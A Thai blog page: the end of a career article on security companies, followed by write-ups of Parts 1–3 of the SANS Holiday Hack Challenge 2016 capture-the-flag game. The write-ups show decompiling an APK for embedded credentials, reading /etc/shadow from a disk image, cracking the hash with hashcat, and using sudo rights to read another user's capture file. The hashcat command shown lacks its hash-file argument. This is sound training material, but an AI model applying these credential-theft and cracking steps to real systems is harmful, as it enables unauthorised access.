2. บริษัทที่มี Core Business เป็นเรื่อง Security
บริษัทในกลุ่มนี้ได้แก่ บริษัทที่เป็น SI ขาย Solution ด้าน Security หรือบริษัท Consult ที่ให้บริการด้าน Security ซึ่งในเมื่อรายได้หลักของบริษัทมาจาก Security แล้วล่ะก็บริษัทในกลุ่มนี้มีโอกาสที่จะลงทุนในตัวพนักงานค่อนข้างมาก เพราะว่า Asset ของบริษัทก็คือ Know-how ของพนักงานที่ออกไปให้บริการกับลูกค้า ถ้าพนักงานไม่เก่งลูกค้าด่า บริษัทอาจเสียรายได้
เราไม่ขอเอ่ยชื่อบริษัทที่อยู่ในกลุ่มนี้ในประเทศไทยดีกว่า แต่ถ้าในต่างประเทศ ก็มีมากมายครับ เช่น พวกแนว Product ก็จะเป็น CheckPoint, Palo Alto ถ้าแนวให้บริการ เช่น Mandiant, InGuardians, Comsecgroup ถ้าเป็นแนว SI ก็มี Frequentis, Thales Group
โดยบริษัทในกลุ่มนี้จะทั้งที่เป็นบริษัทขนาดใหญ่และเล็ก ถ้าพูดถึงความมั่นคงแล้วล่ะก็ต้องดูว่าแต่ละบริษัทเป็นอย่างไร แต่ความมั่นคงในหน้าที่การงานสมัยนี้พูดยากครับ ขนาดบริษัทใหญ่แบบ Chevron ยังให้คนออกตั้งเยอะเลย จะหาความแน่นอนอะไรได้ 555 แต่ถ้าเราแกร่งจริงล่ะก็ ชีวิตมั่นคงแน่นอนครับ
นอกจากบริษัท 2 กลุ่มนี้แล้วมีอีกกลุ่มคือบริษัทที่อยู่ใน Gray area ระหว่าง 2 กลุ่มนี้คือมีทั้ง Core Business ที่เกี่ยวข้องและไม่เกี่ยวข้องกับ Security บริษัทในกลุ่มนี้ยกตัวอย่างง่ายๆเลยคือ Big4 ซึ่งงานหลักจะเป็นทั้งให้คำปรึกษาและทำตรวจสอบให้กับบริษัทต่างๆทั้งทางด้าน Finance และด้าน IT
ถามว่าถ้าทำงานกับ Big4 จะเป็นการ Combination ที่สวยหรู หรือไม่ เพราะว่าอยู่บริษัทที่มั่นคงและทำงานด้าน Security ที่ต้องใช้ความรู้ อยากให้ลองทำความเข้าใจกับบริษัทเหล่านี้ให้ดีครับว่าจริงๆแล้ว Core Business เค้าคืออะไร รายได้หลักเค้ามาจากงาน Security เหรอ?? ถ้าไม่ใช่แล้วเค้าจะลงทุนด้านนี้มากแค่ไหนกัน??
ลองถามตัวเองครับว่าเราต้องการอะไร ชีวิตการทำงานที่เราต้องอยู่กับมันอย่างน้อยก็หลายชั่วโมงต่อวัน
เลือกดีๆวางแผนดีๆครับ จะได้สนุกในแต่ละวันครับ
# The 2016 SANS Holiday Hack Challenge Write-Ups (Part 1/5)
## Introduction
---
เพิ่งจบไปไม่นานครับ กับกิจกรรม SANS Holiday Hack Challenge ของปี 2016 ซึ่ง SANS มีจัดกิจกรรม Capture The Flag (CTF) แบบนี้เป็นประจำทุกปี และรางวัลของกิจกรรมปีนี้ มีด้วยกันทั้งสิ้น 10 รางวัล โดยประกอบด้วย
– 7 รางวัลแรกจะเป็น NetWars T-Shirt ซึ่งได้มาจากการ random ชื่อผู้ได้รับรางวัลจากคนที่ส่ง report ไปทันเวลาก่อนจะหมดช่วงกิจกรรม (ถึงแม้จะทำไม่ผ่านเลยซักข้อก็ตาม ส่ง report ไปก็มีสิทธิ์ที่จะได้รางวัล :br
– 2 รางวัลถัดมา คือ The best technical answer และ The most creative answer อันนี้จะได้เป็นสิทธิ์การใช้งาน [NetWars Continuous](https://www.sans.org/netwars/continuous){rel=""nofollow""} เป็นระยะเวลา 4 เดือนด้วยกัน ($2000+) :br
– รางวัลใหญ่ที่สุด คือ รางวัล Grand Prize Winner โดยสามารถเลือกเรียน SANS Online Training course ใดก็ได้ 1 course ฟรี !! (ราคา course ของ SANS ก็จะอยู่ประมาณ $5000+)
โดยกิจกรรมที่ผ่านมาถึงแม้จะผ่าน Deadline ไปแล้ว แต่ยังสามารถเข้าไปเล่นกันได้อยู่นะครับ รวมถึงของปีล่าสุดที่เพิ่งจบไปด้วยเช่นกัน ซึ่งสามารถเข้าไปดูโจทย์ได้จาก [Link](https://holidayhackchallenge.com/2016){rel=""nofollow""} นี้นะครับ
รายละเอียดของโจทย์ CTF ปีนี้นะครับ (ดูโจทย์ได้ที่นี่ {rel=""nofollow""}) โดยในปีนี้จะมาในรูปแบบของ เกมส์ RPG 8 bits ([https://quest2016.holidayhackchallenge.com](https://quest2016.holidayhackchallenge.com/){rel=""nofollow""}/) ที่มีเนื้อเรื่องว่า Santa Claus ได้หายตัวไปก่อนช่วง Christmas ที่จะมาถึง เรามีหน้าที่ที่จะต้องช่วยเหลือสองพี่น้อง Docsis เพื่อหาตัว Santa Claus ให้พบ และหาว่าผู้ที่อยู่เบื้องหลังเหตุการณ์ครั้งนี้คือใคร !! โดยการค้นหาคำตอบนี้จะต้องผ่าน Quest ย่อยต่างๆ ซึ่งจะต้องใช้ความรู้ด้าน Security ในการหาคำตอบ
โดยปริศนาหลัก ๆ ที่เราต้องแก้จะแบ่ง เป็น 5 Parts ดังนี้ครับ
Part 1: A Most Curious Business Card
[Part 2: Awesome Package Konveyance](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-25)[Part 3: A Fresh-Baked Holiday Pi](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-35)
Part 4: My Gosh… It’s Full of Holes
Part 5: Discombobulated Audio
ซึ่งทาง Incognito Lab จะทะยอยเขียน Write-Ups แต่ละ Part ออกมานะครับ
หมายเหตุ\*\* Write-Ups ทั้งหมดต่อไปนี้เป็นเพียงแค่ \*\*วิธีหนึ่ง ในการแก้ปัญหาโจทย์เท่านั้นนะครับ อาจจะไม่ใช่วิธีที่เร็วที่สุดหรือดีที่สุด ดังนั้นท่านไหนมีวิธีที่ Creative กว่าก็สามารถมาแลกเปลี่ยนกันได้นะครับ ?
## Part 1: A Most Curious Business Card
---
ใน Write-Ups จะขอข้ามรายละเอียดของเนื้อเรื่องไปนะครับ (สามารถไปอ่านได้ในโจทย์เพื่อเพิ่มอรรถรสในการเล่นมากยิ่งขึ้น) จะเน้นเฉพาะส่วนที่เกี่ยวข้องกับโจทย์ปัญหาแทน โดยใน Part แรกนั้น มีสอง ปัญหาที่จะต้องหาคำตอบให้ได้ คือ
1. What is the secret message in Santa’s tweets ?
2. What is inside the ZIP file distributed by Santa’s team ?
มาเริ่มจากข้อแรก…
1. ในตอนแรกเมื่อเข้ามาในเกมส์ ตัวละครก็จะอยู่ในห้อง ๆ หนึ่งครับ ในห้องก็จะพบ Card ของ Santa ตกอยู่ เมื่อ Click ไปที่ Card ก็จะเห็นประมาณนี้ :br
จะพบว่า Twitter ของ Santa คือ [@santawclaus](https://twitter.com/santawclaus){rel=""nofollow""}
2. เข้าไปดู Tweets ของ Santa รูปแบบคล้าย ๆ ประโยคอะไรซักอย่างติดกันยาว ๆ โดยไม่มีเว้นวรรคประมาณ 350 Tweets แต่เมื่อลองอ่านดูแล้วก็พบว่าไม่ได้มีความหมายอะไรซักเท่าไหร่นัก
3. เก็บ Tweet ของ Santa ทั้งหมดมาเพื่อที่จะหา Secret Message ที่ซ่อนไว้ต่อไป แต่ตอนที่กำลังเก็บอยู่กลับพบว่า…
(รูปข้างบนนี้หมุนรูปจากแนวตั้งมานะครับเพื่อให้อ่านง่ายขึ้น) Tweet ของ Santa เมื่อนำมาเรียงกันแล้วจะได้เป็น Secret Message นั้นเองครับ
ข้อแรกผ่านไป เรามาหาคำตอบข้อที่สองต่อกันเลยดีกว่า… ว่าแต่ zip ไฟล์อยู่ที่ไหนกัน ตั้งแต่เริ่มเกมส์มายังไม่เห็นเลย..
1. จาก Business Card ของ Santa นั้นจะเห็นว่านอกจากมี Twitter ที่มี Secret Message อยู่ ยังมี IG ของ Santa อยู่อีกด้วยซึ่งก็คือ [@santaclaus](https://www.instagram.com/santawclaus/){rel=""nofollow""} ที่ยังไม่ได้เข้าไปสำรวจ.. อาจจะพบข้อมูลอะไรดี ๆ บ้าง ก็เป็นได้…
2. จากรูปทั้งหมดใน IG ของ Santa หากสังเกตดูดี ๆ แล้ว จะพบว่า มีรูปหนึ่ง ที่น่าจะมีข้อมูลดี ๆ อยู่ ซึ่งก็คือ รูปนี้ครับ :br
จากรูปจะเป็นรูปโต๊ะของ Elf ที่ทำงานให้ Santa คาดว่าคงจะเป็น Admin ที่ดูแลระบบเป็นแน่แท้ หากสังเกตุดูดี ๆ แล้ว จะพบจุดที่น่าสนใจสองจุดด้วยกันครับ จุดที่ 1 (SantaGram\*v4.2.zip) จะเห็นชื่อไฟล์ .zip ที่ตามหาอยู่\*\*\*…\_ และ\*\*จุดที่ 2 คือ Website Website หนึ่ง ([www.northpolewonderland.com](http://www.northpolewonderland.com){rel=""nofollow""}) แต่หากลอง Browse เข้าไปเฉย ๆ ก็จะพบแค่ Business Card ของลุง Santa ที่เคยเห็นกันมาแล้ว
3. ได้ข้อมูลมาตั้งสองอย่างแล้วจะทำยังไงดี… ทดสอบเอามาต่อกันครับ.. Browse ไปดูที่ [http://www.northpolewonderland.com/SantaGram\_v4.2.zip ](http://www.northpolewonderland.com/SantaGram%5Fv4.2.zip){rel=""nofollow""}Bingo !! ได้ไฟล์ zip มาเรียบร้อย
4. สุดท้าย ไฟล์ zip ที่ได้มานั้นถูก Encrypt ด้วย Password อยู่ ซึ่งจะต้องใช้ Password ที่อยู่ใน Secret Massage คือ "bugbounty\*\*" ที่ได้มาจากข้อแรกในการ Extract ครับ เมื่อ Extract ออกมาแล้วก็จะพบไฟล์ \*\*SantaGram\_4.2.apk อยู่ข้างใน

## Summary
---
1. What is the secret message in Santa’s tweets ? :br
Answer BUGBOUNTY
2. What is inside the ZIP file distributed by Santa’s team ? :br
Answer SantaGram\_4.2.apk
Part 1: A Most Curious Business Card\*\* จบไปแล้ว รอติดตาม [\*\*Part 2: Awesome Package Konveyance](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-25) กันต่อไปนะครับ
# The 2016 SANS Holiday Hack Challenge Write-Ups (Part 2/5)
หลังจากที่ผ่าน [Part 1: A Most Curious Business Card](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-15) กันมาแล้ว ในบทความนี้จะเป็นส่วน Part 2: Awesome Package Konveyance ครับ
## Part 2: Awesome Package Konveyance
---
สำหรับใน Part นี้ มี 2 คำถาม ที่เราจะต้องหาคำตอบให้ได้ คือ
1. What username and password are embedded in the APK file ?
2. What is the name of the audible component (audio file) in the SantaGram APK file ?
หลังจากที่ผ่าน Part แรกไป ได้ไฟล์ SantaGram\_v4.2.apk\*\* มา ใน Part 2 นี้ต้องเอาไฟล์ที่ได้มาหาข้อมูลกันต่อครับ ในเกมส์ 8 bits นั้น มี NPC ที่เป็น Elf อยู่หลายตัว หาก Click ไปที่ NPC ในแต่ละตัวก็จะบอก Hint ที่เป็นประโยชน์ในการไขปริศนาอยู่ \*\*(โดยเฉพาะ Link ไปยัง Resources บนเว็บต่าง ๆ นี่เป็น Hint ที่ดีมากครับ) ใน Part 2 นี้ก็เช่นกัน มี NPC ที่บอก Hint ของ Part นี้อยู่
มาเริ่มกันที่ข้อแรกเลยครับ..
1. เดินไปที่ Workshop (ต้องไต่บันไดเลยเมฆขึ้นไป) เข้าไปข้างในแล้วไปที่ห้องทางขวาซึ่งจะเป็น Train Station จากนั้นจะพบกับ NPC ตัวหนึ่งชื่อว่า "Shinny Upatree" NPC ตัวนี้จะให้ Hint ถึงวิธีการ Extract และ Decompile ไฟล์ apk ครับ
2. การที่จะสามารถหา Credential ที่ฝังอยู่ในไฟล์ apk ได้นั้น เราจะต้องทำการ Decompile ไฟล์ apk กลับมาเป็น JAVA Source code ก่อนแล้วจากนั้นจึงหา Credential ใน Source code อีกที ซึ่ง Tools ที่ใช้ในการ Decompile ก็มีมากมาย และที่ Shinny Upatree แนะนำคือ JadX\*\* แต่ใน Write-Ups นี้จะใช้เป็น [\*\*dex2jar ](https://github.com/pxb1988/dex2jar){rel=""nofollow""}นะครับ โดยวิธีการของการ Decompile คือ Tool จะทำการ Decompile ไฟล์ [.dex](https://en.wikipedia.org/wiki/Dalvik%5F%28software%29){rel=""nofollow""} (ซึ่งอยู่ใน apk อีกที ) กลับไปเป็นไฟล์ .jar ในภาษา JAVA
3. Dowload [dex2jar](https://github.com/pxb1988/dex2jar){rel=""nofollow""} แล้วใช้คำสั่ง "d2j-dex2jar.bat\*\* " เพื่อ Decompile ไฟล์ apk และจะได้ผลลัพธ์ออกมาเป็นไฟล์ "\*\*SantaGram\_4.2-dex2jar.jar"
4. ใช้ [JD-GUI](http://jd.benow.ca/){rel=""nofollow""} ในการทำ Reverse engineer เพื่อดู Source Code ในไฟล์ SantaGram\_4.2-dex2jar.jar\*\* โดยเมื่อเปิดขึ้นมาแล้ว ก็ค้นหา Keyword ด้วยคำว่า "**password" เลยครับ เผื่อว่าจะเจออะไรดี ๆ และแล้วก็เจอจริง ๆ ด้วย.. :br
จากการค้นหาคำว่า "password**" จะเห็นว่าเจออยู่ในหลายที่ด้วยกันครับ แต่หากสังเกตใน **northpolewonderland.santagram** จะพบอยู่ 3 ที่ คือ SignUp.class, **SplashScreen.class** และ \*\*b.class
5. เข้าไปดูที่ SplashScreen.class ก็จะเจอ Username และ Password ที่ตามหาอยู่ครับ (ใน b.class ก็เช่นเดียวกัน แต่ใน SignUp.class ไม่มีอะไร เป็นแค่ชื่อตัวแปรตัวหนึ่งเท่านั้น)
ซึ่งก็คือ Username : guest\*\* และ Password : \*\*busyreindeer78
หลังจากหาคำตอบของข้อแรกได้แล้ว ก็ไปต่อข้อถัดไปกันเลยครับ
1. ขั้นตอนต่อไปคือการหาไฟล์ audio ที่อยู่ใน apk ซึ่งจาก Hint ของ Shinny Upatree ได้บอกว่าไฟล์ apk นั้นเป็นแค่ไฟล์ zip ซึ่งสามารถ Extract ออกมาได้ และเพื่อที่จะสำรวจข้างในไฟล์ apk ว่ามีไฟล์ audio ที่เราตามหาอยู่หรือไม่ ก็ต้อง Extract ออกมาครับ ซึ่งอาจจะใช้ Tools เช่น Winzip หรือ 7zip ก็ได้เช่นกัน
2. เมื่อ Extract ออกมาแล้ว จึงทำการค้นหาไฟล์ audio ใน Directory "/res\*\*" (Directory ต่าง ๆ ใน res ใช้เก็บอะไรบ้าง ดูได้จากที่นี้ครับ {rel=""nofollow""}) ซึ่งเป็นโฟลเดอร์ที่ใช้เก็บ Resources ต่าง ๆ ที่ใช้ภายใน Application เช่น รูปภาพ หรือไฟล์เสียง ก็จะพบไฟล์ audio ที่ชื่อ **discombobulatedaudio1.mp3** อยู่ใน Directory "\*\*/res/raw" นั้นเองครับ
## Summary
---
1. What username and password are embedded in the APK file ? :br
Answer\*\* **guest:** \*\*busyreindeer78
2. What is the name of the audible component (audio file) in the SantaGram APK file ? :br
Answer discombobulatedaudio1.mp3
## Resources
---
1. {rel=""nofollow""}
2. {rel=""nofollow""}
3. {rel=""nofollow""}
4. {rel=""nofollow""}
5. {rel=""nofollow""}
จบกันไปแล้วนะครับกับ Part 2 และใน Part ต่อ ๆ ไป ก็จะมีความซับซ้อนและยากขึ้นตามลำดับ ( แต่ก็สนุกและท้าทาย ? ) และ Hint ของ NPC ในแต่ละตัวนั้นมีประโยชน์ค่อนข้างมากครับ ทำให้รู้ทิศทางที่ควรจะทำในการแก้โจทย์ได้
แล้วพบกันใหม่ในตอนต่อไป [Part 3: A Fresh-Baked Holiday Pi](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-35) ครับ ?
# The 2016 SANS Holiday Hack Challenge Write-Ups (Part 3/5)
กลับมาแล้วครับ สำหรับ Write-Ups ใน Part 3 ซึ่งอาจจะทิ้งช่วงห่างจาก Part 2 นานไปซักหน่อย ก็ขออภัยมา ณ ที่นี้ด้วยครับ
สำหรับกิจกรรม The 2016 SANS Holiday Hack Challenge นั้น เมื่อวันที่ 2 กุมภาพันธ์ 2017 ก็ได้มีการประกาศรายชื่อผู้ได้รับรางวัลกันไปแล้วนะครับ ซึ่งสามารถเข้าไปดูได้ที่ {rel=""nofollow""} โดยจากการที่ได้อ่านในหลาย ๆ Report ก็ทำให้เห็นว่าแต่ละคนก็มีวิธีการแก้ไขปัญหาแตกต่างกันไป ลองเข้าไปอ่านกันได้นะครับ จะทำให้เราได้เรียนรู้ถึงเทคนิค และวิธีคิดใหม่ ๆ ?
พูดถึง Write-Ups ฉบับของคนอื่นไปแล้ว กลับมาเข้ามาในฉบับของเรากันดีกว่าครับ ซึ่งต่อไปนี้จะเป็น Write-Ups ในส่วนของ Part 3 ใครยังไม่ได้อ่าน Part ก่อนหน้า ก็สามารถ เข้าไปอ่านย้อนหลังได้จาก Link ด้านล่างนี้ครับ
[Part 1: A Most Curious Business Card](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-15)
[Part 2: Awesome Package Konveyance](https://incognitolab.com/blogs/the-2016-sans-holiday-hack-challenge-write-ups-part-25)
## Part 3 : A Fresh-Baked Holiday Pi
---
สำหรับใน Part นี้ มี 2 คำถาม ที่เราจะต้องหาคำตอบ คือ
1. What is the password for the "cranpi" account on the Cranberry Pi system?
2. How did you open each terminal door and where had the villain imprisoned Santa?
จากเนื้อเรื่องนั้น ในเกมส์จะมี Terminal อยู่หลาย Terminal ด้วยกัน กระจายอยู่ทั่ว North Pole ซึ่งแต่ละ Terminal ก็จะมี Password ที่ทำการ Lock Terminal ไว้ แต่ในขั้นต้นนั้น ก่อนที่เราจะหา Password เพื่อจะเปิด Terminal เราจะต้องหาชิ้นส่วนของ Cranberry Pi Computer ให้พบก่อน (ล้อมาจาก Raspberry Pi นั้นแหละครับ) เพื่อที่จะสามารถใช้ Cranberry Pi ในการเชื่อมต่อกับ Terminal และหา Password ต่อไป
แล้วจะหาเบาะแสของ Cranberry Pi ในแต่ละชิ้นได้ที่ไหนกัน…
มาเริ่มกันเลยครับ..
### Cranberry Pi
---
1. เดินไปคุยกับ NPC ที่ชื่อว่า Holly Evergreen (ยืนอยู่หน้า Train Station ด้านล่างของแผนที่ในเกมส์) ก็พอจะทำให้คาดได้ว่า ชิ้นส่วนที่ Holly Evergreen กล่าวถึง ที่กระจายอยู่ทั่ว North Pole นั้น น่าจะเป็นชิ้นส่วนของ Cranberry Pi นั่นเอง
2. ในขั้นตอนต่อไป จะเป็นการตามล่าหาชิ้นส่วนของ Cranberry Pi ครับ โดยตำแหน่งที่ชิ้นส่วนตกอยู่มีดังต่อไปนี้ :br
2.1) Cranberry Pi Board (ห้องลับตรงเตาผิงไฟ ใน Elf House#1) :br
2.2) Heat Sink (ชั้นบนของ Elf House#2)
2.3) Power Cord (ใกล้ ๆ Snowman)!\[]
2.4) HDMI Cable (คอก Reindeer ใน Workshop บนสุดของแผนที่)
2.5) SD Card (สะพานข้างอาคาร Workshop) 3. หลังจากที่เก็บชิ้นส่วนทั้งหมดได้แล้ว ก็เดินกลับไปคุยกับ Holly Evergreen\*\* ที่เดิม จากนั้น Holly Evergreen จะให้ไฟล์ **Image ของ Cranberry Pi** มา ({rel=""nofollow""}) เพื่อหา Password ของ Account ที่ชื่อว่า \*\*cranpi ต่อไป
#### Exam Image File And Crack Password
---
หลังจากที่ได้ Image File ของ Cranberry Pi มาแล้ว ขั้นตอนต่อไปคือการหา Password ของ Account cranpi ออกมาให้ได้
1. สำหรับวิธีการในการ Mount Image File ขึ้นมาบน Linux นั้น หากไปคุยกับ NPC ที่ชื่อว่า Wunorse Openslae (บริเวณใกล้ ๆ ต้นคริสมาสต์กลางเมือง) ก็จะพบวิธีการ Mount Image File ขึ้นมา ({rel=""nofollow""})
2. แต่ในบทความนี้จะใช้วิธีที่มีความยุ่งยากน้อยกว่า คือการใช้โปรแกรม 7zip เพื่อ Extract ไฟล์ Image (cranbian-jessie.img\*\*) ออกมา ซึ่งจะพบไฟล์ \*\*1.img อยู่ข้างใน และทำการ Extract ไฟล์ 1.img ออกมาอีกชั้นหนึ่ง ก็จะพบกับไฟล์ที่อยู่ในระบบของ Cranberry Pi ทั้งหมด
3. เป้าหมายของเราคือการหา Password ของ Account cranpi เพราะฉะนั้นไฟล์ที่เราจะต้องไปค้นก็คือไฟล์ /etc/shadow ซึ่งเป็นไฟล์ที่ทำการเก็บ Hash ของ Password ของ Account แต่ละ Account บนระบบไว้นั้นเองครับ
จากรูปพบว่า Hashed Password ของ cranpi คือ $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0
4. นำ Hash ที่ได้ มา Crack โดยใช้ Tools ต่าง ๆ เช่น John The Ripper, Hashcat\*\* ซึ่งในบทความนี้จะใช้ Hashcat ในการ Crack แล้วจะ Crack ด้วยวิธีไหนดี ? Brute Force ? Dictionary ? มี NPC ชื่อว่า **Minty Candycane** (อยู่ใน Small Tree House) ได้พูดถึงเกี่ยวกับการ Crack โดยใช้ Dictionary ที่เป็นที่นิยมตัวหนึ่งที่ชื่อว่า \*\*Rockyou นั้นเองครับ (ซึ่งมีอยู่ใน Kali อยู่แล้ว หรือ สามารถดาวน์โหลด Rockyou ได้จาก {rel=""nofollow""})
5. นำ Hash ไปเขียนไว้ในไฟล์ จากนั้นจึงใช้ Hashcat ในการ Crack แต่ก่อนที่จะเริ่ม Crack จะต้องระบุให้ได้ว่า Hash ที่ได้มานั้นถูก Hash ด้วย Algorithm ใด เพื่อที่จะระบุใน Hashcat ได้ วิธีการดูว่า Password โดน Hash ด้วย Algorithm อะไรนั้น ทำได้โดยการดูจากที่ Hash ที่ได้มา (Format ของ Shadow ไฟล์ สามารถดูรายละเอียดได้จาก : {rel=""nofollow""}) คือ $6$ นั้นเองซึ่งหมายถึง การใช้ SHA512 ในการ Hash เมื่อรู้ถึง Hash Algorithm แล้ว ก็ใช้คำสั่ง `hashcat64.exe -m 1800 rockyou.txt`:br
(-m หมายถึง hash mode, 1800 หมายถึง SHA512) เพื่อ Crack Password ออกมาครับ :br จากผลลัพธ์พบว่า Password ของ cranpi คือ yummycookies นั้นเองครับ
### Terminals
---
ในส่วนต่อไปนี้ จะเป็นส่วนของการหา Passphrase จากปริศนาเพื่อเปิด Terminal ทั้งหลายที่กระจายอยู่ทั่วทั้ง North Pole เพื่อหาตัว Santa Claus ต่อไป โดย Terminal ทั้งหมดจะปรากฏดังตารางต่อไปนี้
| No | Location |
| -- | ------------------------ |
| 1 | Elf House#2 |
| 2 | Workshop: Upper terminal |
| 3 | Workshop: Lower terminal |
| 4 | Santa’s Office |
| 5 | Workshop : Train Station |
แสดง 1 ถึง 5 จาก 5 แถว
ในการที่จะ Interact กับ Terminal นั้นจะต้อง Click ที่ เพื่อทำการเข้าใช้ Console ต่อไปครับ
เรามาเริ่มหา Passphrase ในแต่ละ Terminal กันเลยครับ…
#### Terminal 1 : Elf House#2
---
1. เมื่อ Click เข้าไปยังหน้า Console แล้วจะพบคำใบ้ ดังนี้…!
จากคำใบ้นั้น พบว่า Passphrase จะแบ่งเป็น 2 part\*\* และจะอยู่ในไฟล์ \*\*out.pcap
2. ใช้คำสั่ง :br`ls -la`:br
เพื่อทำการ List ไฟล์และดู Permission ของไฟล์!
พบว่า out.pcap มี Owner User และ Owner Group เป็น itchy และสามารถอ่านได้โดย Owner ของไฟล์เท่านั้น (อ่าน Linux File Permission เพิ่มเติมได้ที่ : {rel=""nofollow""}) แต่ User ที่เราใช้งานอยู่ตอนนี้คือ scratchy ซึ่งไม่สามารถที่จะอ่านไฟล์ out.pcap ได้
3. ขั้นตอนต่อไปคือการหาวิธีการที่จะสามารถอ่านไฟล์ out.pcap โดยใช้สิทธิ์ของ itchy ให้ได้ครับ ในกรณีที่จะใช้สิทธิ์ของ User อื่นนั้น คำสั่งแรกที่จะผุดขึ้นมาในความคิดเลยก็คือ sudo ครับ จากนั้นจึงใช้คำสั่ง :br`sudo -l`:br
เพื่อ List คำสั่งที่เรามีสิทธิ์ใช้ sudo ได้ (sudo : {rel=""nofollow""})
พบว่า scratchy สามารถใช้คำสั่ง tcpdump\*\* และ \*\*strings โดยสิทธิ์ของ itchy ได้ และไม่จำเป็นต้องใช้ Password ของ itchy ด้วย
4. ใช้ tcpdump เพื่ออ่านไฟล์ out.pcap โดยใช้คำสั่ง :br`sudo -u itchy /usr/sbin/tcpdump -A -r /out.pcap`:br
(-u สำหรับ sudo หมายถึง การระบุว่าจะใช้สิทธิ์ของ User ใด, -A สำหรับ tcpdump หมายถึง แสดงแต่ละ Packet ออกมาในรูปแบบของ ASCII, -r หมายถึง อ่าน Packet จากไฟล์)
เมื่ออ่านแต่ละ Packet แล้ว ก็จะพบไฟล์ firsthalf.html ซึ่งน่าจะบรรจุ Part แรกของ Passphrase ไว้ :br
และเมื่อไปดู Content ของ File ก็จะพบกับ Part แรกของ Passphrase\*\* ที่เราตามหาอยู่ นั้นก็คือคำว่า "\*\*santasli" ครับ
5. หากทดสอบค้นหาคำว่า "part2" จาก tcpdump ตามข้อที่ 4 นั้น ก็จะไม่พบอะไรครับ แต่ถ้าลองอ่านไปทีละ Packet ดี ๆ ก็จะพบว่า… :br
มีไฟล์ชื่อว่า secondhalf.bin อยู่ ซึ่ง Content ในไฟล์จะต้องมี Part ที่ 2 ของ Passphrase อยู่แน่นอน แต่หากอ่านลองพยายามอ่าน Content แล้ว จะพบว่า ไม่สามารถที่จะอ่านออกหรือหา Part 2 ได้เลยครับ
6. จากข้อที่ 3 พบว่าเราสามารถใช้คำสั่ง tcpdump และ strings โดยสิทธิ์ของ itchy ได้ หลังจากที่ใช้คำสั่ง tcpdump ไปแล้ว ก็ยังเหลืออีกคำสั่งที่ยังไม่ได้ใช้คือ strings\*\* อีกทั้งไฟล์ส่วนที่สองที่พบนั้นก็เป็นไฟล์ .bin ซึ่งเป็น Binary File (แต่อ่าน Content ไม่ออกไม่เข้าใจ) ทำให้อนุมานได้ว่า Part 2 ของ Passphrase นั้นน่าจะหาได้จากคำสั่ง strings (strings : {rel=""nofollow""}) ซึ่งคำสั่งนี้จะมีหน้าที่ในการแสดงตัวอักขระ (Character) ที่มีอยู่ในไฟล์ออกมา โดยค่า Default แล้วคำสั่ง strings จะ Encode อักขระออกมาแสดงโดยใช้ 7 bits Character Encoding (Character Encoding : {rel=""nofollow""}) หากใช้คำสั่ง strings อ่านไฟล์ out.pcap โดยค่า Default แล้ว ก็จะหา Part 2 ของ Passphrase ไม่เจออยู่ดี วิธีการทดสอบคือ ทดลองเปลี่ยนค่า Parameter "**-e**" หรือ "\*\*–encoding" เป็นการ Encode แบบต่าง ๆ ไปเรื่อย ๆ
พบว่าเมื่อใช้คำสั่ง :br`sudo -u itchy strings -el out.pcap`:br
(ค่า Parameter –encoding คือ l มีหมายความว่าเป็นการ Encoding แบบ 16 bits Little Endian) ผลลัพธ์ที่ออกมาก็จะเป็น Part 2 ของ Passphrase ที่เราตามหาครับ ซึ่งก็คือ "ttlehelper" นั้นเอง
7. นำ Part 1 และ Part 2 มาต่อกัน ก็จะได้ Passphrase "santaslittlehelper" เพื่อทำการปลดล็อค Terminal ครับ
8. หลังจากปลดล็อค Terminal ได้แล้ว หลัง Terminal จะเป็นห้อง Elf House#2 – Room2 แต่ก็ไม่ได้พบตัว Santa Claus ในห้องนี้แต่อย่างใด
#### Terminal 2 : Workshop – Upper Terminal
---
เมื่อ Click เข้าไปยังหน้า Console แล้วจะพบคำใบ้ ดังนี้…
ในการที่จะปลดล็อค Terminal นี้ได้นั้น เราจะต้องเล่นเกมส์ที่มีชื่อว่า Hunt The Wumpus โดยจะเป็นเกมส์ที่มีรูปแบบเป็น Text-Based ซึ่งเป็นเกมส์ที่เก่ามาก ๆ แล้ว (Hunt The Wumpus : {rel=""nofollow""}) โดยรายละเอียดคร่าว ๆ ของเกมส์นั้นมีอยู่ว่า เราจะเล่นเป็นผู้เล่นคนหนึ่ง ที่อยู่ในห้องที่มีอุโมงค์เชื่อมโยงกันเป็นเขาวงกต หากเราเดินพลาดไปอยู่ในห้องเดียวกันกับปีศาจ Wumpus เมื่อไหร่ เกมส์ก็จะ Over ทันที โดยวิธีที่จะชนะเกมส์นี้ได้ คือ การฆ่าปีศาจ Wumpus ให้ได้ วิธีการที่จะชนะเกมส์นี้เพื่อเอา Passphrase มาให้ได้นั้น เมื่ออ่านจากคำใบ้แล้วทำให้อนุมานได้ว่า เกมส์นี้สามารถผ่านได้โดยการเล่นแบบธรรมดา และโดยการใช้สูตรโกง หรือ Cheat นั้นเอง
เราจะเริ่มกันจากวิธีแรกกันก่อน คือการเล่นธรรมดาแบบธรรมดาให้ชนะ
1. Execute ไฟล์ wumpus จากนั้นก็เล่นเกมส์ให้ชนะ โดยวิธีการเล่นสามารถอ่านจาก Instruction จากในเกมส์ได้ :br
โดยจะมี Trick ในการเล่นเล็กน้อย เพื่อทำให้ผ่านได้ง่ายขึ้น คือ หากมีข้อความว่า "\*sniff\* (I can smell the evil Wumpus nearby!)" ปรากฎขึ้นมา นั้นแสดงว่า มีปีศาจ Wumpus อยู่ห้องใดห้องหนึ่งที่ติดกับห้องปัจจุบันที่เราอยู่ ให้ทำการสุ่มยิงไปที่ห้องเหล่านั้น จนกว่าจะโดนตัว Wumpus ก็ถือเป็นอันจบเกมส์ :br
ซึ่งการจะเล่นธรรมดาให้ชนะนั้น ก็สามารถทำได้ไม่ยากนักครับ โดยเมื่อชนะแล้ว เราก็จะพบกับ Passphrase\*\* ที่ใช้ปลดล็อค Terminal นั้นคือ "\*\*WUMPUS IS MISUNDERSTOOD" นั้นเองครับ
